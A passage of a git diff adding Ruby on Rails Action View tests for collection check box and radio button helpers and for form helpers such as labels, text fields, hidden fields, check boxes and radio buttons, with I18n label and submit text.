+      assert_select 'input#user_active_true[type=radio]'
+    end
+    assert_select 'label.false[for=user_active_false]', 'false' do
+      assert_select 'input#user_active_false[type=radio]'
+    end
+  end
+
+  test 'collection radio buttons with fields for' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    @output_buffer = fields_for(:post) do |p|
+      p.collection_radio_buttons :category_id, collection, :id, :name
+    end
+
+    assert_select 'input#post_category_id_1[type=radio][value=1]'
+    assert_select 'input#post_category_id_2[type=radio][value=2]'
+
+    assert_select 'label[for=post_category_id_1]', 'Category 1'
+    assert_select 'label[for=post_category_id_2]', 'Category 2'
+  end
+
+  test 'collection radio accepts checked item which has a value of false' do
+    with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => false
+    assert_no_select 'input[type=radio][value=true][checked=checked]'
+    assert_select 'input[type=radio][value=false][checked=checked]'
+  end
+
+  # COLLECTION CHECK BOXES
+  test 'collection check boxes accepts a collection and generate a series of checkboxes for value method' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select 'input#user_category_ids_1[type=checkbox][value=1]'
+    assert_select 'input#user_category_ids_2[type=checkbox][value=2]'
+  end
+
+  test 'collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select "input[type=hidden][name='user[category_ids][]'][value=]", :count => 1
+  end
+
+  test 'collection check boxes generates a hidden field using the given :name in :html_options' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, {}, {name: "user[other_category_ids][]"}
+
+    assert_select "input[type=hidden][name='user[other_category_ids][]'][value=]", :count => 1
+  end
+
+  test 'collection check boxes generates a hidden field with index if it was provided' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name, { index: 322 }
+
+    assert_select "input[type=hidden][name='user[322][category_ids][]'][value=]", count: 1
+  end
+
+  test 'collection check boxes accepts a collection and generate a series of checkboxes with labels for label method' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select 'label[for=user_category_ids_1]', 'Category 1'
+    assert_select 'label[for=user_category_ids_2]', 'Category 2'
+  end
+
+  test 'collection check boxes handles camelized collection values for labels correctly' do
+    with_collection_check_boxes :user, :active, ['Yes', 'No'], :to_s, :to_s
+
+    assert_select 'label[for=user_active_yes]', 'Yes'
+    assert_select 'label[for=user_active_no]', 'No'
+  end
+
+  test 'collection check box should sanitize collection values for labels correctly' do
+    with_collection_check_boxes :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
+    assert_select 'label[for=user_name_099]', '$0.99'
+    assert_select 'label[for=user_name_199]', '$1.99'
+  end
+
+  test 'collection check boxes accepts html options as the last element of array' do
+    collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+    with_collection_check_boxes :user, :active, collection, :first, :second
+
+    assert_select 'input[type=checkbox][value=1].foo'
+    assert_select 'input[type=checkbox][value=2].bar'
+  end
+
+  test 'collection check boxes sets the label class defined inside the block' do
+    collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+    with_collection_check_boxes :user, :active, collection, :second, :first do |b|
+      b.label(class: 'collection_check_boxes')
+    end
+
+    assert_select 'label.collection_check_boxes[for=user_active_category_1]'
+    assert_select 'label.collection_check_boxes[for=user_active_category_2]'
+  end
+
+  test 'collection check boxes does not include the input class in the respective label' do
+    collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+    with_collection_check_boxes :user, :active, collection, :second, :first
+
+    assert_no_select 'label.foo[for=user_active_category_1]'
+    assert_no_select 'label.bar[for=user_active_category_2]'
+  end
+
+  test 'collection check boxes accepts selected values as :checked option' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
+
+    assert_select 'input[type=checkbox][value=1][checked=checked]'
+    assert_select 'input[type=checkbox][value=3][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+  end
+
+  test 'collection check boxes accepts selected string values as :checked option' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => ['1', '3']
+
+    assert_select 'input[type=checkbox][value=1][checked=checked]'
+    assert_select 'input[type=checkbox][value=3][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+  end
+
+  test 'collection check boxes accepts a single checked value' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => 3
+
+    assert_select 'input[type=checkbox][value=3][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=1][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+  end
+
+  test 'collection check boxes accepts selected values as :checked option and override the model values' do
+    user = Struct.new(:category_ids).new(2)
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+
+    @output_buffer = fields_for(:user, user) do |p|
+      p.collection_check_boxes :category_ids, collection, :first, :last, :checked => [1, 3]
+    end
+
+    assert_select 'input[type=checkbox][value=1][checked=checked]'
+    assert_select 'input[type=checkbox][value=3][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+  end
+
+  test 'collection check boxes accepts multiple disabled items' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => [1, 3]
+
+    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+    assert_select 'input[type=checkbox][value=3][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+  end
+
+  test 'collection check boxes accepts single disabled item' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
+
+    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+  end
+
+  test 'collection check boxes accepts a proc to disabled items' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => proc { |i| i.first == 1 }
+
+    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+  end
+
+  test 'collection check boxes accepts html options' do
+    collection = [[1, 'Category 1'], [2, 'Category 2']]
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, :class => 'check'
+
+    assert_select 'input.check[type=checkbox][value=1]'
+    assert_select 'input.check[type=checkbox][value=2]'
+  end
+
+  test 'collection check boxes with fields for' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    @output_buffer = fields_for(:post) do |p|
+      p.collection_check_boxes :category_ids, collection, :id, :name
+    end
+
+    assert_select 'input#post_category_ids_1[type=checkbox][value=1]'
+    assert_select 'input#post_category_ids_2[type=checkbox][value=2]'
+
+    assert_select 'label[for=post_category_ids_1]', 'Category 1'
+    assert_select 'label[for=post_category_ids_2]', 'Category 2'
+  end
+
+  test 'collection check boxes does not wrap input inside the label' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s
+
+    assert_select 'input[type=checkbox] + label'
+    assert_no_select 'label input'
+  end
+
+  test 'collection check boxes accepts a block to render the label as check box wrapper' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label { b.check_box }
+    end
+
+    assert_select 'label[for=user_active_true] > input#user_active_true[type=checkbox]'
+    assert_select 'label[for=user_active_false] > input#user_active_false[type=checkbox]'
+  end
+
+  test 'collection check boxes accepts a block to change the order of label and check box' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label + b.check_box
+    end
+
+    assert_select 'label[for=user_active_true] + input#user_active_true[type=checkbox]'
+    assert_select 'label[for=user_active_false] + input#user_active_false[type=checkbox]'
+  end
+
+  test 'collection check boxes with block helpers accept extra html options' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:class => "check_box") + b.check_box(:class => "check_box")
+    end
+
+    assert_select 'label.check_box[for=user_active_true] + input#user_active_true.check_box[type=checkbox]'
+    assert_select 'label.check_box[for=user_active_false] + input#user_active_false.check_box[type=checkbox]'
+  end
+
+  test 'collection check boxes with block helpers allows access to current text and value' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:"data-value" => b.value) { b.check_box + b.text }
+    end
+
+    assert_select 'label[for=user_active_true][data-value=true]', 'true' do
+      assert_select 'input#user_active_true[type=checkbox]'
+    end
+    assert_select 'label[for=user_active_false][data-value=false]', 'false' do
+      assert_select 'input#user_active_false[type=checkbox]'
+    end
+  end
+
+  test 'collection check boxes with block helpers allows access to the current object item in the collection to access extra properties' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:class => b.object) { b.check_box + b.text }
+    end
+
+    assert_select 'label.true[for=user_active_true]', 'true' do
+      assert_select 'input#user_active_true[type=checkbox]'
+    end
+    assert_select 'label.false[for=user_active_false]', 'false' do
+      assert_select 'input#user_active_false[type=checkbox]'
+    end
+  end
+end
diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb
new file mode 100644
index 0000000..86934e1
--- /dev/null
+++ b/actionview/test/template/form_helper_test.rb
@@ -0,0 +1,3067 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class FormHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
+  tests ActionView::Helpers::FormHelper
+
+  def form_for(*)
+    @output_buffer = super
+  end
+
+  def setup
+    super
+
+    # Create "label" locale for testing I18n label helpers
+    I18n.backend.store_translations 'label', {
+      activemodel: {
+        attributes: {
+          post: {
+            cost: "Total cost"
+          }
+        }
+      },
+      helpers: {
+        label: {
+          post: {
+            body: "Write entire text here",
+            color: {
+              red: "Rojo"
+            },
+            comments: {
+              body: "Write body here"
+            }
+          },
+          tag: {
+            value: "Tag"
+          }
+        }
+      }
+    }
+
+    # Create "submit" locale for testing I18n submit helpers
+    I18n.backend.store_translations 'submit', {
+      helpers: {
+        submit: {
+          create: 'Create %{model}',
+          update: 'Confirm %{model} changes',
+          submit: 'Save changes',
+          another_post: {
+            update: 'Update your %{model}'
+          }
+        }
+      }
+    }
+
+    @post = Post.new
+    @comment = Comment.new
+    def @post.errors()
+      Class.new {
+        def [](field); field == "author_name" ? ["can't be empty"] : [] end
+        def empty?() false end
+        def count() 1 end
+        def full_messages() ["Author name can't be empty"] end
+      }.new
+    end
+    def @post.to_key; [123]; end
+    def @post.id_before_type_cast; 123; end
+    def @post.to_param; '123'; end
+
+    @post.persisted   = true
+    @post.title       = "Hello World"
+    @post.author_name = ""
+    @post.body        = "Back to the hill and over it again!"
+    @post.secret      = 1
+    @post.written_on  = Date.new(2004, 6, 15)
+
+    @post.comments = []
+    @post.comments << @comment
+
+    @post.tags = []
+    @post.tags << Tag.new
+
+    @car = Car.new("#000FFF")
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    resources :posts do
+      resources :comments
+    end
+
+    namespace :admin do
+      resources :posts do
+        resources :comments
+      end
+    end
+
+    get "/foo", to: "controller#action"
+    root to: "main#index"
+  end
+
+  def _routes
+    Routes
+  end
+
+  include Routes.url_helpers
+
+  def url_for(object)
+    @url_for_options = object
+
+    if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
+      object.merge!(controller: "main", action: "index")
+    end
+
+    super
+  end
+
+  class FooTag < ActionView::Helpers::Tags::Base
+    def initialize; end
+  end
+
+  def test_tags_base_child_without_render_method
+    assert_raise(NotImplementedError) { FooTag.new.render }
+  end
+
+  def test_label
+    assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
+    assert_dom_equal(
+      '<label for="post_title">The title goes here</label>',
+      label("post", "title", "The title goes here")
+    )
+    assert_dom_equal(
+      '<label class="title_label" for="post_title">Title</label>',
+      label("post", "title", nil, class: 'title_label')
+    )
+    assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
+  end
+
+  def test_label_with_symbols
+    assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
+    assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
+  end
+
+  def test_label_with_locales_strings
+    old_locale, I18n.locale = I18n.locale, :label
+    assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_label_with_human_attribute_name
+    old_locale, I18n.locale = I18n.locale, :label
+    assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_label_with_locales_symbols
+    old_locale, I18n.locale = I18n.locale, :label
+    assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_label_with_locales_and_options
+    old_locale, I18n.locale = I18n.locale, :label
+    assert_dom_equal(
+      '<label for="post_body" class="post_body">Write entire text here</label>',
+      label(:post, :body, class: "post_body")
+    )
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_label_with_locales_and_value
+    old_locale, I18n.locale = I18n.locale, :label
+    assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_label_with_locales_and_nested_attributes
+    old_locale, I18n.locale = I18n.locale, :label
+    form_for(@post, html: { id: 'create-post' }) do |f|
+      f.fields_for(:comments) do |cf|
+        concat cf.label(:body)
+      end
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+      '<label for="post_comments_attributes_0_body">Write body here</label>'
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_label_with_locales_fallback_and_nested_attributes
+    old_locale, I18n.locale = I18n.locale, :label
+    form_for(@post, html: { id: 'create-post' }) do |f|
+      f.fields_for(:tags) do |cf|
+        concat cf.label(:value)
+      end
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+      '<label for="post_tags_attributes_0_value">Tag</label>'
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_label_with_for_attribute_as_symbol
+    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, for: "my_for"))
+  end
+
+  def test_label_with_for_attribute_as_string
+    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
+  end
+
+  def test_label_does_not_generate_for_attribute_when_given_nil
+    assert_dom_equal('<label>Title</label>', label(:post, :title, for: nil))
+  end
+
+  def test_label_with_id_attribute_as_symbol
+    assert_dom_equal(
+      '<label for="post_title" id="my_id">Title</label>',
+      label(:post, :title, nil, id: "my_id")
+    )
+  end
+
+  def test_label_with_id_attribute_as_string
+    assert_dom_equal(
+      '<label for="post_title" id="my_id">Title</label>',
+      label(:post, :title, nil, "id" => "my_id")
+    )
+  end
+
+  def test_label_with_for_and_id_attributes_as_symbol
+    assert_dom_equal(
+      '<label for="my_for" id="my_id">Title</label>',
+      label(:post, :title, nil, for: "my_for", id: "my_id")
+    )
+  end
+
+  def test_label_with_for_and_id_attributes_as_string
+    assert_dom_equal(
+      '<label for="my_for" id="my_id">Title</label>',
+      label(:post, :title, nil, "for" => "my_for", "id" => "my_id")
+    )
+  end
+
+  def test_label_for_radio_buttons_with_value
+    assert_dom_equal(
+      '<label for="post_title_great_title">The title goes here</label>',
+      label("post", "title", "The title goes here", value: "great_title")
+    )
+    assert_dom_equal(
+      '<label for="post_title_great_title">The title goes here</label>',
+      label("post", "title", "The title goes here", value: "great title")
+    )
+  end
+
+  def test_label_with_block
+    assert_dom_equal(
+      '<label for="post_title">The title, please:</label>',
+      label(:post, :title) { "The title, please:" }
+    )
+  end
+
+  def test_label_with_block_and_options
+    assert_dom_equal(
+      '<label for="my_for">The title, please:</label>',
+      label(:post, :title, "for" => "my_for") { "The title, please:" }
+    )
+  end
+
+  def test_label_with_block_in_erb
+    assert_equal(
+      %{<label for="post_message">\n  Message\n  <input id="post_message" name="post[message]" type="text" />\n</label>},
+      view.render("test/label_with_block")
+    )
+  end
+
+  def test_text_field
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="text" value="Hello World" />',
+      text_field("post", "title")
+    )
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="password" />',
+      password_field("post", "title")
+    )
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="password" value="Hello World" />',
+      password_field("post", "title", value: @post.title)
+    )
+    assert_dom_equal(
+      '<input id="person_name" name="person[name]" type="password" />',
+      password_field("person", "name")
+    )
+  end
+
+  def test_text_field_with_escapes
+    @post.title = "<b>Hello World</b>"
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="text" value="<b>Hello World</b>" />',
+      text_field("post", "title")
+    )
+  end
+
+  def test_text_field_with_html_entities
+    @post.title = "The HTML Entity for & is &"
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="text" value="The HTML Entity for & is &amp;" />',
+      text_field("post", "title")
+    )
+  end
+
+  def test_text_field_with_options
+    expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "size" => 35)
+    assert_dom_equal expected, text_field("post", "title", size: 35)
+  end
+
+  def test_text_field_assuming_size
+    expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
+    assert_dom_equal expected, text_field("post", "title", maxlength: 35)
+  end
+
+  def test_text_field_removing_size
+    expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
+    assert_dom_equal expected, text_field("post", "title", maxlength: 35, size: nil)
+  end
+
+  def test_text_field_with_nil_value
+    expected = '<input id="post_title" name="post[title]" type="text" />'
+    assert_dom_equal expected, text_field("post", "title", value: nil)
+  end
+
+  def test_text_field_with_nil_name
+    expected = '<input id="post_title" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", name: nil)
+  end
+
+  def test_text_field_doesnt_change_param_values
+    object_name = 'post[]'
+    expected = '<input id="post_123_title" name="post[123][title]" type="text" value="Hello World" />'
+    assert_equal expected, text_field(object_name, "title")
+    assert_equal object_name, "post[]"
+  end
+
+  def test_file_field_has_no_size
+    expected = '<input id="user_avatar" name="user[avatar]" type="file" />'
+    assert_dom_equal expected, file_field("user", "avatar")
+  end
+
+  def test_file_field_with_multiple_behavior
+    expected = '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+    assert_dom_equal expected, file_field("import", "file", :multiple => true)
+  end
+
+  def test_file_field_with_multiple_behavior_and_explicit_name
+    expected = '<input id="import_file" multiple="multiple" name="custom" type="file" />'
+    assert_dom_equal expected, file_field("import", "file", :multiple => true, :name => "custom")
+  end
+
+  def test_hidden_field
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
+      hidden_field("post", "title")
+    )
+    assert_dom_equal(
+      '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
+      hidden_field("post", "secret?")
+    )
+  end
+
+  def test_hidden_field_with_escapes
+    @post.title = "<b>Hello World</b>"
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="hidden" value="<b>Hello World</b>" />',
+      hidden_field("post", "title")
+    )
+  end
+
+  def test_hidden_field_with_nil_value
+    expected = '<input id="post_title" name="post[title]" type="hidden" />'
+    assert_dom_equal expected, hidden_field("post", "title", value: nil)
+  end
+
+  def test_hidden_field_with_options
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
+      hidden_field("post", "title", value: "Something Else")
+    )
+  end
+
+  def test_text_field_with_custom_type
+    assert_dom_equal(
+      '<input id="user_email" name="user[email]" type="email" />',
+      text_field("user", "email", type: "email")
+    )
+  end
+
+  def test_check_box_is_html_safe
+    assert check_box("post", "secret").html_safe?
+  end
+
+  def test_check_box_checked_if_object_value_is_same_that_check_value
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+  end
+
+  def test_check_box_not_checked_if_object_value_is_same_that_unchecked_value
+    @post.secret = 0
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+  end
+
+  def test_check_box_checked_if_option_checked_is_present
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", "checked"=>"checked")
+    )
+  end
+
+  def test_check_box_checked_if_object_value_is_true
+    @post.secret = true
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret?")
+    )
+  end
+
+  def test_check_box_checked_if_object_value_includes_checked_value
+    @post.secret = ['0']
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+
+    @post.secret = ['1']
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+
+    @post.secret = Set.new(['1'])
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+  end
+
+  def test_check_box_with_include_hidden_false
+    @post.secret = false
+    assert_dom_equal(
+      '<input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", include_hidden: false)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_string
+    @post.secret = "on"
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      check_box("post", "secret", {}, "on", "off")
+    )
+
+    @post.secret = "off"
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      check_box("post", "secret", {}, "on", "off")
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
+    @post.secret = false
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+      check_box("post", "secret", {}, false, true)
+    )
+
+    @post.secret = true
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="true" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+      check_box("post", "secret", {}, false, true)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
+    @post.secret = 0
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 1
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 2
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_float
+    @post.secret = 0.0
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 1.1
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 2.2
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
+    @post.secret = BigDecimal.new(0)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = BigDecimal.new(1)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = BigDecimal.new(2.2, 1)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_nil_unchecked_value
+    @post.secret = "on"
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      check_box("post", "secret", {}, "on", nil)
+    )
+  end
+
+  def test_check_box_with_nil_unchecked_value_is_html_safe
+    assert check_box("post", "secret", {}, "on", nil).html_safe?
+  end
+
+  def test_check_box_with_multiple_behavior
+    @post.comment_ids = [2,3]
+    assert_dom_equal(
+      '<input name="post[comment_ids][]" type="hidden" value="0" /><input id="post_comment_ids_1" name="post[comment_ids][]" type="checkbox" value="1" />',
+      check_box("post", "comment_ids", { multiple: true }, 1)
+    )
+    assert_dom_equal(
+      '<input name="post[comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_comment_ids_3" name="post[comment_ids][]" type="checkbox" value="3" />',
+      check_box("post", "comment_ids", { multiple: true }, 3)
+    )
+  end
+
+  def test_check_box_with_multiple_behavior_and_index
+    @post.comment_ids = [2,3]
+    assert_dom_equal(
+      '<input name="post[foo][comment_ids][]" type="hidden" value="0" /><input id="post_foo_comment_ids_1" name="post[foo][comment_ids][]" type="checkbox" value="1" />',
+      check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+    )
+    assert_dom_equal(
+      '<input name="post[bar][comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_bar_comment_ids_3" name="post[bar][comment_ids][]" type="checkbox" value="3" />',
+      check_box("post", "comment_ids", { multiple: true, index: "bar" }, 3)
+    )
+
+  end
+
+  def test_checkbox_disabled_disables_hidden_field
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" disabled="disabled"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", { disabled: true })
+    )
+  end
+
+  def test_checkbox_form_html5_attribute
+    assert_dom_equal(
+      '<input form="new_form" name="post[secret]" type="hidden" value="0" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", form: "new_form")
+    )
+  end
+
+  def test_radio_button
+    assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
+      radio_button("post", "title", "Hello World")
+    )
+    assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
+      radio_button("post", "title", "Goodbye World")
+    )
+    assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
+      radio_button("item[subobject]", "title", "inside world")
+    )
+  end
+
+  def test_radio_button_is_checked_with_integers
+    assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
+      radio_button("post", "secret", "1")
+   )
+  end
+
+  def test_radio_button_with_negative_integer_value
+    assert_dom_equal('<input id="post_secret_-1" name="post[secret]" type="radio" value="-1" />',
+      radio_button("post", "secret", "-1"))
+  end
+
+  def test_radio_button_respects_passed_in_id
+     assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
+       radio_button("post", "secret", "1", id: "foo")
+    )
+  end
+
+  def test_radio_button_with_booleans
+    assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
+      radio_button("post", "secret", true)
+    )
+
+    assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
+      radio_button("post", "secret", false)
+    )
+  end
+
+  def test_text_area
+    assert_dom_equal(
+      %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_escapes
